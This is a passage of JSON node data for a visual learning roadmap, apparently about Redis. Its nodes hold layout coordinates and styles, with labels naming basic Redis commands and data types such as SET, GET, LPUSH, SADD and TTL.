\"y\": 591.7610824325313\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lV_MnUNTB2h925idX0YWk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -349.00281520804924,\n        \"y\": 644.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DEL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nS0DHhfy4wxHItgOFhulA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -349.00281520804924,\n        \"y\": 644.7610824325313\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U84XgBFPyIbY0W5afH4cx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -359.00281520804924,\n        \"y\": 710.6034591804714\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Overview of Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -359.00281520804924,\n        \"y\": 710.6034591804714\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TpW3rvaZYV9D2cHycy2my\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -365.00281520804924,\n        \"y\": 764.6034591804714\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strings, Lists, Sets, Hashes, Sorted Sets\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -365.00281520804924,\n        \"y\": 764.6034591804714\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"geUnNlWeXEBUs1W3fysRO\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -799.6381872719934,\n        \"y\": 540.2610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Core Data Structures\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"GjKw6hbNV57I2sxuLfkQw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 57,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 57\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -799.6381872719934,\n        \"y\": 540.2610824325313\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 57\n      }\n    },\n    {\n      \"id\": \"ltF4vCT9ZA2XuUuHnuGnN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -624.5705012400213,\n        \"y\": 631.3489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -624.5705012400213,\n        \"y\": 631.3489330045289\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mQc4H2ZMMSVjh33LJY8mK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -530.0705012400213,\n        \"y\": 631.3489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -530.0705012400213,\n        \"y\": 631.3489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5K9qyC4mrhXYWOC8WSq8C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -624.5705012400213,\n        \"y\": 683.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"INCR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -624.5705012400213,\n        \"y\": 683.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t4BXPofF8OCqH5KHwdYVh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -530.0705012400213,\n        \"y\": 683.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DECR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -530.0705012400213,\n        \"y\": 683.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cPWd53BO6tm-uy4gqLdtZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -624.5705012400213,\n        \"y\": 736.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"APPEND\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -624.5705012400213,\n        \"y\": 736.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eJQW986HM4Wf1o1i2FnXs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -530.0705012400213,\n        \"y\": 736.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"STRLEN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -530.0705012400213,\n        \"y\": 736.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JpPwzuJ9dK6b4uWH5rWe6\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -620.0705012400213,\n        \"y\": 840.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -620.0705012400213,\n        \"y\": 840.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0v8uLWRCbAqEmKKdYaRQW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -624.0705012400213,\n        \"y\": 788.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cPWd53BO6tm-uy4gqLdtZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -624.0705012400213,\n        \"y\": 788.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2_E2VwbjTgk4xxTFWfHuV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -624.0705012400213,\n        \"y\": 876.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -624.0705012400213,\n        \"y\": 876.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i3Hnt66WKB47UILFmaOl_\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -55.00281520804924,\n        \"y\": 558.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -55.00281520804924,\n        \"y\": 558.7610824325313\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"JboVpV-Oijm52vBYob9nj\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -561.1381872719934,\n        \"y\": 558.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"i3Hnt66WKB47UILFmaOl_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -561.1381872719934,\n        \"y\": 558.7610824325313\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"nS0DHhfy4wxHItgOFhulA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -265.25281520804924,\n        \"y\": 644.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"expire\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -265.25281520804924,\n        \"y\": 644.7610824325313\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vll7VMmGWSI5XGZ9JpHyl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -156.50281520804924,\n        \"y\": 644.7610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TTL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nS0DHhfy4wxHItgOFhulA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -156.50281520804924,\n        \"y\": 644.7610824325313\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kq7G89KaZZMFkrH-9WZoS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1074.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LPUSH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1074.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jC8G1o7yFj7D_PGmOIgcD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1074.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RPUSH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1074.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"voa61RTWMJD3Sk8DNJoVQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1126.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LPOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1126.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"brUGqWZ287EWtvl9uUbNt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1126.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RPOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1126.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8JTtBy6oD2wFYDizVkcVa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1179.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LRANGE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1179.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hBFEUXtuzUTzWZKp2qWaZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1179.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LINDEX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1179.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4oCcP9FxDJSDMHCEVBCNa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1231.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LLEN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8JTtBy6oD2wFYDizVkcVa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1231.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9KvHcS5F4Jj5ZXgIAdOQY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1231.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LMOVE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4oCcP9FxDJSDMHCEVBCNa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -689.5028152080492,\n        \"y\": 1231.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eBeEUYY-IL_CMkcm31lUL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1284.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0v8uLWRCbAqEmKKdYaRQW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -788.5705012400213,\n        \"y\": 1284.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Iour_R6xJ5PieRjX9t993\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -779.5705012400213,\n        \"y\": 1338.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"JpPwzuJ9dK6b4uWH5rWe6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -779.5705012400213,\n        \"y\": 1338.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"XTwNCCtzXvZMdaex4gZEh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -790.5028152080492,\n        \"y\": 1374.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2_E2VwbjTgk4xxTFWfHuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -790.5028152080492,\n        \"y\": 1374.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Qgkpr9vf9d6-vUg1o8XFj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -439.5819137259901,\n        \"y\": 982.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wY46Qj5Inw_ClBNI9PB_2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -439.5819137259901,\n        \"y\": 982.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xUKoQps69FFQrJeuhD1pz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.464883323405,\n        \"y\": 1070.501634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SADD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -482.464883323405,\n        \"y\": 1070.501634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mQ0ILns53n1By0Tq6xSZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.464883323405,\n        \"y\": 1123.251634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SMEMBERS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.464883323405,\n        \"y\": 1123.251634732462\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WQWVL5GT_scHdgfCtI7WT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -389.03256935537723,\n        \"y\": 1070.501634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SREM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -389.03256935537723,\n        \"y\": 1070.501634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ji5ghlcGJtlmErHFqVf3d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -482.464883323405,\n        \"y\": 1176.001634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SISMEMBER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.464883323405,\n        \"y\": 1176.001634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5aLfNBewK4Dx017qVNO3T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -483.5325693553771,\n        \"y\": 1228.751634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SINTER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ji5ghlcGJtlmErHFqVf3d\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -483.5325693553771,\n        \"y\": 1228.751634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2gZL4a9aWGKWLa89iyHTc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -379.5325693553771,\n        \"y\": 1228.751634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SCARD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5aLfNBewK4Dx017qVNO3T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 83,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 83,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -379.5325693553771,\n        \"y\": 1228.751634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 83,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6QoYa-N2BKNBaRtvNeVNm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -483.5325693553771,\n        \"y\": 1281.501634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SUNION\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5aLfNBewK4Dx017qVNO3T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -483.5325693553771,\n        \"y\": 1281.501634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      